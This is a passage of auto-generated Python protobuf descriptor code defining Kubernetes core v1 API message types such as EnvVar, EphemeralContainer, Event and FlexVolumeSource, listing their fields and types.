full_name='k8s.io.api.core.v1.EnvVar', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.EnvVar.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.EnvVar.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='valueFrom', full_name='k8s.io.api.core.v1.EnvVar.valueFrom', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=7387, serialized_end=7477, ) _ENVVARSOURCE = _descriptor.Descriptor( name='EnvVarSource', full_name='k8s.io.api.core.v1.EnvVarSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='fieldRef', full_name='k8s.io.api.core.v1.EnvVarSource.fieldRef', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resourceFieldRef', full_name='k8s.io.api.core.v1.EnvVarSource.resourceFieldRef', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='configMapKeyRef', full_name='k8s.io.api.core.v1.EnvVarSource.configMapKeyRef', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretKeyRef', full_name='k8s.io.api.core.v1.EnvVarSource.secretKeyRef', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=7480, serialized_end=7750, ) _EPHEMERALCONTAINER = _descriptor.Descriptor( name='EphemeralContainer', full_name='k8s.io.api.core.v1.EphemeralContainer', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ephemeralContainerCommon', full_name='k8s.io.api.core.v1.EphemeralContainer.ephemeralContainerCommon', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='targetContainerName', full_name='k8s.io.api.core.v1.EphemeralContainer.targetContainerName', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=7753, serialized_end=7882, ) _EPHEMERALCONTAINERCOMMON = _descriptor.Descriptor( name='EphemeralContainerCommon', full_name='k8s.io.api.core.v1.EphemeralContainerCommon', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='image', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.image', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='command', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.command', index=2, number=3, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='args', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.args', index=3, number=4, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='workingDir', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.workingDir', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ports', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.ports', index=5, number=6, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='envFrom', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.envFrom', index=6, number=19, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='env', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.env', index=7, number=7, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resources', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.resources', index=8, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeMounts', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.volumeMounts', index=9, number=9, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeDevices', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.volumeDevices', index=10, number=21, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='livenessProbe', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.livenessProbe', index=11, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readinessProbe', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.readinessProbe', index=12, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='startupProbe', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.startupProbe', index=13, number=22, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lifecycle', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.lifecycle', index=14, number=12, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terminationMessagePath', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.terminationMessagePath', index=15, number=13, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terminationMessagePolicy', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.terminationMessagePolicy', index=16, number=20, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='imagePullPolicy', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.imagePullPolicy', index=17, number=14, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='securityContext', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.securityContext', index=18, number=15, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stdin', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.stdin', index=19, number=16, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stdinOnce', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.stdinOnce', index=20, number=17, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tty', full_name='k8s.io.api.core.v1.EphemeralContainerCommon.tty', index=21, number=18, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=7885, serialized_end=8707, ) _EPHEMERALVOLUMESOURCE = _descriptor.Descriptor( name='EphemeralVolumeSource', full_name='k8s.io.api.core.v1.EphemeralVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumeClaimTemplate', full_name='k8s.io.api.core.v1.EphemeralVolumeSource.volumeClaimTemplate', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=8709, serialized_end=8812, ) _EVENT = _descriptor.Descriptor( name='Event', full_name='k8s.io.api.core.v1.Event', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Event.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='involvedObject', full_name='k8s.io.api.core.v1.Event.involvedObject', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.Event.reason', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.Event.message', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='source', full_name='k8s.io.api.core.v1.Event.source', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='firstTimestamp', full_name='k8s.io.api.core.v1.Event.firstTimestamp', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastTimestamp', full_name='k8s.io.api.core.v1.Event.lastTimestamp', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='count', full_name='k8s.io.api.core.v1.Event.count', index=7, number=8, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.Event.type', index=8, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='eventTime', full_name='k8s.io.api.core.v1.Event.eventTime', index=9, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='series', full_name='k8s.io.api.core.v1.Event.series', index=10, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='action', full_name='k8s.io.api.core.v1.Event.action', index=11, number=12, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='related', full_name='k8s.io.api.core.v1.Event.related', index=12, number=13, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reportingComponent', full_name='k8s.io.api.core.v1.Event.reportingComponent', index=13, number=14, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reportingInstance', full_name='k8s.io.api.core.v1.Event.reportingInstance', index=14, number=15, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=8815, serialized_end=9439, ) _EVENTLIST = _descriptor.Descriptor( name='EventList', full_name='k8s.io.api.core.v1.EventList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.EventList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.EventList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=9441, serialized_end=9560, ) _EVENTSERIES = _descriptor.Descriptor( name='EventSeries', full_name='k8s.io.api.core.v1.EventSeries', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='count', full_name='k8s.io.api.core.v1.EventSeries.count', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastObservedTime', full_name='k8s.io.api.core.v1.EventSeries.lastObservedTime', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=9562, serialized_end=9665, ) _EVENTSOURCE = _descriptor.Descriptor( name='EventSource', full_name='k8s.io.api.core.v1.EventSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='component', full_name='k8s.io.api.core.v1.EventSource.component', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='host', full_name='k8s.io.api.core.v1.EventSource.host', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=9667, serialized_end=9713, ) _EXECACTION = _descriptor.Descriptor( name='ExecAction', full_name='k8s.io.api.core.v1.ExecAction', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='command', full_name='k8s.io.api.core.v1.ExecAction.command', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=9715, serialized_end=9744, ) _FCVOLUMESOURCE = _descriptor.Descriptor( name='FCVolumeSource', full_name='k8s.io.api.core.v1.FCVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='targetWWNs', full_name='k8s.io.api.core.v1.FCVolumeSource.targetWWNs', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lun', full_name='k8s.io.api.core.v1.FCVolumeSource.lun', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.FCVolumeSource.fsType', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.FCVolumeSource.readOnly', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='wwids', full_name='k8s.io.api.core.v1.FCVolumeSource.wwids', index=4, number=5, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=9746, serialized_end=9844, ) _FLEXPERSISTENTVOLUMESOURCE_OPTIONSENTRY = _descriptor.Descriptor( name='OptionsEntry', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.OptionsEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.OptionsEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.OptionsEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10061, serialized_end=10107, ) _FLEXPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='FlexPersistentVolumeSource', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='driver', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.driver', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.secretRef', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.readOnly', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='options', full_name='k8s.io.api.core.v1.FlexPersistentVolumeSource.options', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_FLEXPERSISTENTVOLUMESOURCE_OPTIONSENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=9847, serialized_end=10107, ) _FLEXVOLUMESOURCE_OPTIONSENTRY = _descriptor.Descriptor( name='OptionsEntry', full_name='k8s.io.api.core.v1.FlexVolumeSource.OptionsEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.FlexVolumeSource.OptionsEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.FlexVolumeSource.OptionsEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10061, serialized_end=10107, ) _FLEXVOLUMESOURCE = _descriptor.Descriptor( name='FlexVolumeSource', full_name='k8s.io.api.core.v1.FlexVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='driver', full_name='k8s.io.api.core.v1.FlexVolumeSource.driver', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.FlexVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.FlexVolumeSource.secretRef', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.FlexVolumeSource.readOnly', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='options', full_name='k8s.io.api.core.v1.FlexVolumeSource.options', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, 